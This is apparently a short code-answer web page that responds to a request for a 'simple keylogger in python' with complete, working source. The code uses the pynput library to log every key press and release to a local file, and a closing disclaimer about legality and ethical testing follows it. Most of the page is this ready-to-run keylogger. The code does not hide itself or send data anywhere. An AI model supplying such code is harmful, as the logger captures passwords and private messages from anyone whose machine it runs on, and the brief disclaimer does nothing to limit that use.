simp keylogger in python

Here is a simple keylogger in Python using the pynput library for monitoring the keyboard events and writing to a log file:

main.py
from pynput import keyboard

log_file = "keylog.txt"

def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write('{0} pressed\n'.format(key))
    except:
        pass

def on_release(key):
    try:
        with open(log_file, "a") as f:
            f.write('{0} released\n'.format(key))
    except:
        pass

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
439 chars
21 lines

Note that this code only logs the key press and release events, and does not attempt to hide or obfuscate itself. Additionally, it is important to note that keyloggers can be illegal and should only be used for ethical purposes such as testing the security of your own systems.

gistlibby LogSnag